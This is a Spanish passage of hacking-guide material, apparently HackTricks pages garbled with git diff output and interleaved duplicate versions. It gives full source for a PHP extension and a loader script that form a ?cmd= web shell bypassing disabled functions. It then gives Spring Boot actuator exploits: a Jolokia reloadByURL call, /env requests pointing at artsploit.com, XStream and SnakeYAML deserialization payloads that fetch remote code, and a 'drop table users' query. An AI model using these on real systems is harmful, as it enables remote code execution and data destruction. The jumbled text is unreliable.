El atacante anota la versión y descarga el tarball desde el [sitio web de PHP](http://www.php.net/downloads.php), en este escenario la versión es más antigua que la versión actual, por lo que el atacante tiene que ir al [archivo](http://museum.php.net).\
\
Luego extrae el código fuente y [compila e instala](http://www.php.net/manual/en/install.php) la versión de PHP en su propia caja.\
\
Ahora es el momento de crear la extensión\
El atacante se informa sobre [crear extensiones de PHP](http://www.php.net/manual/en/zend.creating.php) desde el sitio de PHP.\
Después de leer la documentación y crear algunas extensiones por su cuenta, decide mirar el código base de PHP ya que la función que busca ya está creada.\
\
La función que se duplicará será la [función exec](http://www.php.net/manual/en/function.exec.php)\
en el código base se encuentra en ext/standard/exec.c\
\
Las partes relevantes se implementan en una nueva extensión propia.\
\
**Notas:** ### Pasos realizados por el atacante:
Antes de comenzar a compilar los códigos, debes tener en cuenta dos puntos: 1. **Identificación de la versión de PHP:**
- El atacante determina la versión de PHP utilizando un script (`<?php echo 'La versión de PHP es '.PHP_VERSION; ?>`).
1- El valor de `ZEND_MODULE_API_NO` debe cambiarse en el archivo `bypass.c` al actual `Zend Extension Build` en el que estás trabajando, puedes obtenerlo utilizando la línea de comando a continuación: 2. **Adquisición de la fuente de PHP:**
- Descarga la fuente de PHP del sitio web oficial de [PHP](http://www.php.net/downloads.php) o del [archivo](http://museum.php.net) si la versión es antigua.
3. **Configuración local de PHP:**
- Extrae e instala la versión específica de PHP en su sistema.
4. **Creación de la extensión:**
- Estudia [la creación de extensiones de PHP](http://www.php.net/manual/en/zend.creating.php) e inspecciona el código fuente de PHP.
- Se centra en duplicar la funcionalidad de la [función exec](http://www.php.net/manual/en/function.exec.php) ubicada en `ext/standard/exec.c`.
### Notas para compilar la extensión personalizada:
1. **ZEND_MODULE_API_NO:**
- El `ZEND_MODULE_API_NO` en `bypass.c` debe coincidir con la compilación actual de la Extensión Zend, que se puede obtener con:
```bash ```bash
php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}' php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}'
``` ```
2- Si te encuentras con errores al compilar el archivo bypass.c en la versión reciente de PHP (5, 7 y 8), puedes cambiar PHP_FUNCTION(bypass_exec) por esto:
```
PHP_FUNCTION(bypass_exec)
{
FILE *in;
char *command;
size_t command_len;
zend_string *ret;
php_stream *stream;
ZEND_PARSE_PARAMETERS_START(1, 1) 2. **Modificación de PHP_FUNCTION:**
Z_PARAM_STRING(command, command_len) - Para versiones recientes de PHP (5, 7, 8), `PHP_FUNCTION(bypass_exec)` puede necesitar ajustes. El fragmento de código proporcionado detalla esta modificación.
ZEND_PARSE_PARAMETERS_END();
if (!command_len) { ### Archivos de la extensión personalizada:
zend_argument_value_error(1, "cannot be empty");
RETURN_THROWS();
}
if (strlen(command) != command_len) {
zend_argument_value_error(1, "must not contain any null bytes");
RETURN_THROWS();
}
#ifdef PHP_WIN32 - **bypass.c**:
if ((in=VCWD_POPEN(command, "rt"))==NULL) { - Implementa la funcionalidad principal de la extensión personalizada.
#else - **php_bypass.h**:
if ((in=VCWD_POPEN(command, "r"))==NULL) { - Archivo de encabezado que define las propiedades de la extensión.
#endif - **config.m4**:
php_error_docref(NULL, E_WARNING, "Unable to execute '%s'", command); - Utilizado por `phpize` para configurar el entorno de compilación de la extensión personalizada.
RETURN_FALSE;
}
stream = php_stream_fopen_from_pipe(in, "rb"); ### Compilación de la extensión:
ret = php_stream_copy_to_mem(stream, PHP_STREAM_COPY_ALL, 0);
php_stream_close(stream);
if (ret && ZSTR_LEN(ret) > 0) { 1. **Comandos de compilación:**
RETVAL_STR(ret); - Utiliza `phpize`, `./configure` y `make` para compilar la extensión.
} - El `bypass.so` resultante se encuentra en el subdirectorio de módulos.
}
```
Los archivos para la extensión separada terminan como se muestra a continuación:
{% code title="bypass.c" %} 2. **Limpieza:**
```c - Ejecuta `make clean` y `phpize --clean` después de la compilación.
/*
+----------------------------------------------------------------------+ ### Subida y ejecución en el host víctima:
| Copyright (c) 1997-2003 The PHP Group |
+----------------------------------------------------------------------+ 1. **Compatibilidad de versiones:**
| This source file is subject to version 2.02 of the PHP license, | - Asegura que las versiones de la API de PHP coincidan entre el sistema del atacante y el de la víctima.
| that is bundled with this package in the file LICENSE, and is |
| available at through the world-wide-web at | 2. **Carga de la extensión:**
| http://www.php.net/license/2_02.txt. | - Utiliza la función `dl`, eludiendo las restricciones mediante el uso de rutas relativas o un script para automatizar el proceso.
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to | 3. **Ejecución del script:**
| license@php.net so we can mail you a copy immediately. | - El atacante sube `bypass.so` y un script de PHP al servidor de la víctima.
+----------------------------------------------------------------------+ - El script utiliza la función `dl_local` para cargar dinámicamente `bypass.so` y luego llama a `bypass_exec` con un comando pasado a través del parámetro de consulta `cmd`.
*/
### Ejecución de comandos:
- El atacante ahora puede ejecutar comandos accediendo a: `http://www.ejemplo.com/script.php?cmd=<comando>`
#ifdef HAVE_CONFIG_H Esta detallada guía describe el proceso de creación e implementación de una extensión de PHP para ejecutar comandos del sistema, explotando la función `dl`, la cual idealmente debería estar deshabilitada para prevenir brechas de seguridad de este tipo.
#include "config.h"
#endif
#include "php.h"
#include "php_bypass.h"
static function_entry bypass_functions[] = {
PHP_FE(bypass_exec, NULL)
{NULL, NULL, NULL}
};
zend_module_entry bypass_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
PHP_BYPASS_EXTNAME,
bypass_functions,
NULL,
NULL,
NULL,
NULL,
NULL,
#if ZEND_MODULE_API_NO >= 20010901
PHP_BYPASS_VERSION,
#endif
STANDARD_MODULE_PROPERTIES
};
#ifdef COMPILE_DL_BYPASS
ZEND_GET_MODULE(bypass)
#endif
PHP_FUNCTION(bypass_exec){
FILE *in;
int readbytes, total_readbytes=0, allocated_space;
pval **cmd;
char *ret;
if (ZEND_NUM_ARGS()!=1 || zend_get_parameters_ex(1, &cmd)==FAILURE) {
WRONG_PARAM_COUNT;
}
convert_to_string_ex(cmd);
#ifdef PHP_WIN32
if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "rt"))==NULL) {
#else
if ((in=VCWD_POPEN(Z_STRVAL_PP(cmd), "r"))==NULL) {
#endif
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to execute '%s'", Z_STRVAL_PP(cmd));
RETURN_FALSE;
}
allocated_space = EXEC_INPUT_BUF;
ret = (char *) emalloc(allocated_space);
while (1) {
readbytes = fread(ret+total_readbytes, 1, EXEC_INPUT_BUF, in);
if (readbytes<=0) {
break;
}
total_readbytes += readbytes;
allocated_space = total_readbytes+EXEC_INPUT_BUF;
ret = (char *) erealloc(ret, allocated_space);
}
pclose(in);
RETVAL_STRINGL(ret, total_readbytes, 0);
Z_STRVAL_P(return_value)[total_readbytes] = '\';
}
```
```markdown
{% endcode %}
{% code title="php_bypass.h" %}
```
```c
#ifndef PHP_BYPASS_H
#define PHP_BYPASS_H 1
#define PHP_BYPASS_VERSION "1.0"
#define PHP_BYPASS_EXTNAME "bypass"
PHP_FUNCTION(bypass_exec);
extern zend_module_entry bypass_module_entry;
#define phpext_bypass_ptr &bypass_module_entry
#endif
```
```markdown
{% endcode %}
{% code title="config.m4" %}
```
```bash
PHP_ARG_ENABLE(bypass, [whether to enable bypass support],[--enable-bypass])
if test "$PHP_BYPASS" = "yes"; then
AC_DEFINE(HAVE_BYPASS, 1, [Whether you have bypass])
PHP_NEW_EXTENSION(bypass, bypass.c, $ext_shared)
fi
```
{% endcode %}
Una vez creados los archivos, es hora de compilar la extensión de PHP.
```
phpize
./configure
make
```
Una vez hecho esto, la extensión compilada se ubicará en el subdirectorio de módulos con el nombre de archivo bypass.so.
El archivo se copia en un lugar seguro, ahora se ejecutan los siguientes comandos para limpiar los archivos recién creados.
```
make clean
phpize --clean
```
Ahora el atacante sube la extensión recién creada al host víctima.
(NOTA: Las versiones principales de PHP utilizan diferentes versiones de la API, para que puedas compilar la extensión en un host y subirla a otro, las versiones de la API deben coincidir. Por eso inicialmente se instaló la misma versión de PHP en la máquina del atacante.)
Para cargar una extensión con la función dl, la extensión necesita estar en el directorio de extensiones que está definido por la directiva extension_dir.
Esto puede ser un problema ya que es menos probable que el atacante tenga permisos de escritura en este directorio, sin embargo, hay una manera de sortear esto.
Este problema ha sido discutido por desarrolladores en la página de la función dl dentro de la sección de notas.
El concepto que se discutió es usar una ruta relativa desde el directorio de extensiones definido.
Por ejemplo, si el directorio de extensiones se estableció en /usr/php/extensions y te gustaría cargar bypass.so en el directorio web actual /home/example.com/html, harías lo siguiente:
```php
<?php
dl('../../../home/example.com/html/bypass.so');
?>
```
Este método permite evitar la necesidad de tener la extensión en el directorio de extensiones definido.
También hay una manera automatizada para que no tengas que cambiar la ruta relativa para diferentes hosts, este código fue creado por endofyourself \[at] yahoo \[dot] com y mejorado posteriormente por mag\_2000 \[at] front \[dot] ru
Había un pequeño problema con la función, en algunos hosts el directorio de extensiones está establecido en "./" y esta función no tomaba en cuenta si el directorio de extensiones estaba configurado con una ruta relativa, la solución para esto es usar la función realpath.
El script final utilizado para cargar la extensión y ejecutar comandos del sistema para eludir las funciones deshabilitadas es el siguiente:
```php
<?php
function dl_local( $extensionFile ) {
if(!(bool)ini_get('enable_dl')
||(bool)ini_get('safe_mode')){
die('Loading extensions is not permitted.');
}
if(!file_exists($extensionFile)){
die('File '.$extensionFile.' does not exist.');
}
if(!is_executable($extensionFile)){
die('File '.$extensionFile.' is not executable. ( chmod +x '.$extensionFile.' )');
}
$currentDir = getcwd().'/';
$currentExtPath = realpath(ini_get('extension_dir'));
$subDirs = preg_match_all("/\//",$currentExtPath ,$matches);
unset($matches);
if(!(bool)$subDirs){
die('Could not determine a valid extension path [extension_dir]');
}
$extPathLastChar=strlen($currentExtPath )-1;
if($extPathLastChar==strrpos($currentExtPath,'/')){
$subDirs--;}$backDirStr = '';
for($i = 1; $i <= $subDirs; $i++){
$backDirStr .='..';
if($i != $subDirs){
$backDirStr .='/';
}
}
$finalExtPath = $backDirStr.$currentDir.$extensionFile;
if(!dl($finalExtPath)){
die();
}
$loadedExtensions = get_loaded_extensions();
$thisExtName = $loadedExtensions[sizeof($loadedExtensions)-1];
return $thisExtName;
}
@ini_set ('display_errors','1');
error_reporting(E_ALL);
dl_local('bypass.so');
if(@$_GET['cmd']){
$output = bypass_exec($_GET['cmd']);
echo '<pre>'.$output.'</pre>';
}
?>
```
Todo lo que el atacante tiene que hacer ahora para ejecutar comandos es llamar a la URL del script junto con una variable cmd con el comando deseado.
```
http://www.example.com/script.php?cmd=ls
```
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,83 +1,48 @@
# Spring Actuators # Actuadores de Spring
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
## **Bypass de Autenticación en Spring** ## **Bypass de Autenticación de Spring**
<figure><img src="../../.gitbook/assets/image (5) (2).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (5) (2).png" alt=""><figcaption></figcaption></figure>
**De** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* **Desde** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
## Explotando Actuadores de Spring Boot ## Explotando los Actuadores de Spring Boot
**copiado de** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) **Consulta la publicación original en** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
El Framework de Spring Boot incluye una serie de características llamadas actuadores para ayudarte a monitorear y gestionar tu aplicación web cuando la despliegas en producción. Destinados a ser utilizados para auditoría, salud y recolección de métricas, también pueden abrir una puerta oculta a tu servidor cuando están mal configurados. ### **Puntos Clave:**
Cuando una aplicación de Spring Boot está en ejecución, registra automáticamente varios endpoints (como '/health', '/trace', '/beans', '/env', etc.) en el proceso de enrutamiento. Para Spring Boot 1 - 1.4, son accesibles sin autenticación, causando problemas significativos de seguridad. A partir de la versión 1.5 de Spring, todos los endpoints, excepto '/health' y '/info', se consideran sensibles y están asegurados por defecto, pero esta seguridad a menudo es desactivada por los desarrolladores de aplicaciones. - Los Actuadores de Spring Boot registran puntos finales como `/health`, `/trace`, `/beans`, `/env`, etc. En las versiones 1 a 1.4, estos puntos finales son accesibles sin autenticación. A partir de la versión 1.5 en adelante, solo `/health` y `/info` no son sensibles por defecto, pero los desarrolladores a menudo deshabilitan esta seguridad.
- Algunos puntos finales de Actuadores pueden exponer datos sensibles o permitir acciones dañinas:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` y `/heapdump`.
- En Spring Boot 1.x, los actuadores se registran bajo la URL raíz, mientras que en 2.x, se encuentran bajo la ruta base `/actuator/`.
Los siguientes endpoints de Actuator podrían tener implicaciones de seguridad que conducen a posibles vulnerabilidades: ### **Técnicas de Explotación:**
* /dump - muestra un volcado de hilos (incluyendo un rastreo de pila) 1. **Ejecución Remota de Código a través de '/jolokia'**:
* /trace - muestra los últimos mensajes HTTP (que podrían incluir identificadores de sesión) - El punto final del actuador `/jolokia` expone la Biblioteca Jolokia, que permite el acceso HTTP a MBeans.
* /logfile - muestra el contenido del archivo de registro - La acción `reloadByURL` puede ser explotada para recargar configuraciones de registro desde una URL externa, lo que puede llevar a XXE ciego o Ejecución Remota de Código a través de configuraciones XML manipuladas.
* /shutdown - apaga la aplicación - URL de explotación de ejemplo: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
* /mappings - muestra todas las asignaciones de controladores MVC
* /env - proporciona acceso al entorno de configuración
* /actuator/env
* /restart - reinicia la aplicación
* /heapdump - Construye y devuelve un volcado de montón de la JVM utilizada por nuestra aplicación
Para Spring 1x, están registrados bajo la URL raíz, y en 2x se trasladaron a la base de ruta "/actuator/". 2. **Modificación de Configuración a través de '/env'**:
- Si están presentes las Bibliotecas de Spring Cloud, el punto final `/env` permite la modificación de propiedades ambientales.
- Las propiedades pueden ser manipuladas para explotar vulnerabilidades, como la vulnerabilidad de deserialización XStream en la URL de servicio Eureka.
- Ejemplo de solicitud POST de explotación:
**Explotación:**
La mayoría de los actuadores solo admiten solicitudes GET y simplemente revelan datos de configuración sensibles, pero varios de ellos son particularmente interesantes para los cazadores de shells:
**1. Ejecución de Código Remoto vía '/jolokia'**
Si la Biblioteca Jolokia está en la classpath de la aplicación objetivo, se expone automáticamente por Spring Boot bajo el endpoint del actuador '/jolokia'. Jolokia permite el acceso HTTP a todos los MBeans registrados y está diseñado para realizar las mismas operaciones que puedes realizar con JMX. Es posible listar todas las acciones de MBeans disponibles utilizando la URL:
[**http://127.0.0.1:8090/jolokia/list**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
De nuevo, la mayoría de las acciones de MBeans solo revelan algunos datos del sistema, pero una es particularmente interesante:
![reloadByURL](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_jolokia.png)
La acción '**reloadByURL**', proporcionada por la biblioteca Logback, nos permite recargar la configuración de registro desde una URL externa. Se podría activar simplemente navegando a:[**http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
Entonces, ¿por qué debería importarnos la configuración de registro? Principalmente por dos cosas:
1. La configuración tiene un formato XML, y por supuesto, Logback lo analiza con Entidades Externas habilitadas, por lo que es vulnerable a XXE ciego.
2. La configuración de Logback tiene la característica ['Obtención de variables de JNDI'](https://logback.qos.ch/manual/configuration.html#insertFromJNDI). En el archivo XML, podemos incluir una etiqueta como '**\<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />**' y el atributo name se pasará al método DirContext.lookup(). Si podemos suministrar un nombre arbitrario en la función .lookup(), ni siquiera necesitamos XXE o HeapDump porque nos da una completa **Ejecución de Código Remoto**.
**Cómo funciona:**
1\. Un atacante solicita la URL mencionada para ejecutar la función 'reloadByURL', proporcionada por la clase 'qos.logback.classic.jmx.JMXConfigurator'.
2\. La función 'reloadByURL' descarga una nueva configuración de [http://artsploit.com/logback.xml](http://artsploit.com/logback.xml) y la analiza como una configuración de Logback. Esta configuración maliciosa debería tener el siguiente contenido:
```
<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>
```
3\. Cuando este archivo se analiza en el servidor vulnerable, crea una conexión al servidor LDAP controlado por el atacante especificado en el valor del parámetro "env-entry-name", lo que lleva a la resolución de JNDI. El servidor LDAP malicioso puede devolver un objeto con tipo 'Reference' para desencadenar una **ejecución del bytecode suministrado** en la aplicación objetivo. Los ataques JNDI están bien explicados en este [documento de investigación de MicroFocus](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf). La [nueva técnica de explotación de JNDI](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) (descrita anteriormente en nuestro blog) también funciona aquí, ya que Tomcat es el servidor de aplicaciones predeterminado en el Spring Boot Framework.
**2. Modificación de configuración vía '/env'**
Si las bibliotecas de Spring Cloud están en el classpath, el endpoint **'/env'** te permite modificar las propiedades ambientales de Spring. Todos los beans anotados como '**@ConfigurationProperties**' pueden ser modificados y reasociados. Muchas, aunque no todas, las propiedades que podemos controlar están listadas en el endpoint del actuator '/configprops'. De hecho, hay toneladas de ellas, pero no está absolutamente claro qué necesitamos modificar para lograr algo. Después de pasar un par de días jugando con ellas encontramos esto:
``` ```
POST /env HTTP/1.1 POST /env HTTP/1.1
Host: 127.0.0.1:8090 Host: 127.0.0.1:8090
@ -86,173 +51,41 @@ Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
``` ```
Esta propiedad modifica la URL del servicio Eureka a un valor arbitrario. El servidor Eureka normalmente se utiliza como servidor de descubrimiento, y casi todas las aplicaciones de Spring Cloud se registran en él y envían actualizaciones de estado. Si tienes suerte de tener Eureka-Client <1.8.7 en el classpath objetivo (normalmente está incluido en Spring Cloud Netflix), puedes explotar la **vulnerabilidad de deserialización XStream** en él. Todo lo que necesitas hacer es establecer la propiedad 'eureka.client.serviceUrl.defaultZone' a la URL de tu servidor ( [http://artsploit.com/n/xstream](http://artsploit.com/n/xstream)) a través de '/env' y luego llamar al endpoint '/refresh'. Después de eso, tu servidor debería servir la carga útil de XStream con el siguiente contenido:
```markup
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
```
Este payload de XStream es una versión ligeramente modificada de la cadena de gadgets ImageIO JDK-only del [investigación de Marshalsec](https://github.com/mbechler/marshalsec). La única diferencia aquí es el uso de **LinkedHashSet** para activar el método 'jdk.nashorn.internal.objects.NativeString.hashCode()'. El payload original utiliza java.lang.Map para lograr el mismo comportamiento, pero la configuración de XStream de Eureka tiene un [convertidor personalizado para mapas](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58) que lo hace inutilizable. El payload anterior no utiliza Maps en absoluto y se puede utilizar para lograr Ejecución de Código Remoto sin restricciones adicionales.
Utilizando Spring Actuators, puedes explotar esta vulnerabilidad incluso si no tienes acceso a un servidor Eureka interno; solo necesitas un punto final "/env" disponible. 3. **Otros Ajustes Útiles**:
- Propiedades como `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` y `spring.datasource.tomcat.max-active` pueden ser manipuladas para varios exploits, como la inyección SQL o la alteración de cadenas de conexión de bases de datos.
**Otras configuraciones útiles:** ### **Información Adicional:**
**spring.datasource.tomcat.validationQuery=drop+table+users** - te permite especificar cualquier consulta SQL, y se ejecutará automáticamente contra la base de datos actual. Podría ser cualquier declaración, incluyendo insert, update o delete. - Se puede encontrar una lista completa de actuadores predeterminados [aquí](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- El punto final `/env` en Spring Boot 2.x utiliza formato JSON para la modificación de propiedades, pero el concepto general sigue siendo el mismo.
![Explotando Spring Boot Actuators Drop Table](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_drop\_table.png) ### **Temas Relacionados:**
**spring.datasource.tomcat.url**=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - te permite modificar la cadena de conexión JDBC actual. 1. **RCE de Env + H2**:
- Detalles sobre cómo explotar la combinación del punto final `/env` y la base de datos H2 se pueden encontrar [aquí](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
La última parece excelente, pero el problema es cuando la aplicación que ejecuta la conexión a la base de datos ya está establecida, simplemente actualizar la cadena JDBC no tiene ningún efecto. Afortunadamente, hay otra propiedad que puede ayudarnos en este caso: 2. **SSRF en Spring Boot a través de la Interpretación Incorrecta de Nombres de Ruta**:
- El manejo de parámetros de matriz (`;`) en nombres de ruta HTTP del framework Spring puede ser explotado para la falsificación de solicitudes del lado del servidor (SSRF).
- Ejemplo de solicitud de explotación:
**spring.datasource.tomcat.max-active**=777
El truco que podemos usar aquí es aumentar el número de conexiones simultáneas a la base de datos. Entonces, podemos cambiar la cadena de conexión JDBC, aumentar el número de conexiones y después de eso enviar muchas solicitudes a la aplicación para simular una carga pesada. Bajo la carga, la aplicación creará una nueva conexión a la base de datos con la cadena JDBC maliciosa actualizada. Probé esta técnica localmente contra Mysql y funciona de maravilla.
![Explotando Spring Boot Actuators Max Active](https://www.veracode.com/sites/default/files/exploiting\_spring\_boot\_actuators\_max\_active.png)
Aparte de eso, hay otras propiedades que parecen interesantes, pero, en la práctica, no son realmente útiles:
**spring.datasource.url** - cadena de conexión a la base de datos (utilizada solo para la primera conexión)
**spring.datasource.jndiName** - cadena JNDI de bases de datos (utilizada solo para la primera conexión)
**spring.datasource.tomcat.dataSourceJNDI** - cadena JNDI de bases de datos (no utilizada en absoluto)
**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - URL de configuración de spring cloud (no tiene ningún efecto después del inicio de la app, solo se utilizan los valores iniciales.)
Estas propiedades no tienen ningún efecto a menos que se llame al punto final '/restart'. Este punto final reinicia todos los ApplicationContext pero está deshabilitado por defecto.
Hay muchas otras propiedades interesantes, pero la mayoría de ellas no tienen efecto inmediato después del cambio.
**N.B.** En Spring Boot 2x, el formato de solicitud para modificar propiedades a través del punto final '/env' es ligeramente diferente (utiliza formato json), pero la idea es la misma.
**Un ejemplo de la aplicación vulnerable:**
Si quieres probar esta vulnerabilidad localmente, he creado una [aplicación simple de Spring Boot en mi página de Github](https://github.com/artsploit/actuator-testbed). Todos los payloads deberían funcionar allí, excepto por la configuración de la base de datos (a menos que la configures).
**Descubrimiento de caja negra:**
Una lista completa de actuadores predeterminados se puede encontrar aquí: [https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). Ten en cuenta que los desarrolladores de aplicaciones pueden crear sus propios puntos finales utilizando la anotación @Endpoint.
**Actualización mayo de 2019:**
Hay una forma más confiable de lograr RCE a través de una modificación de las propiedades ambientales de Spring:
```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml
```
Esta solicitud modifica la propiedad 'spring.cloud.bootstrap.location', que se utiliza para cargar la configuración externa y analizarla en formato YAML. Para que esto suceda, también necesitamos llamar al endpoint '/refresh'.
```
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
Cuando la configuración YAML se obtiene del servidor remoto, se analiza con la biblioteca SnakeYAML, que también es susceptible a ataques de deserialización. El payload (yaml-payload.yml) puede generarse utilizando la investigación de Marshalsec mencionada anteriormente:
```
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
```
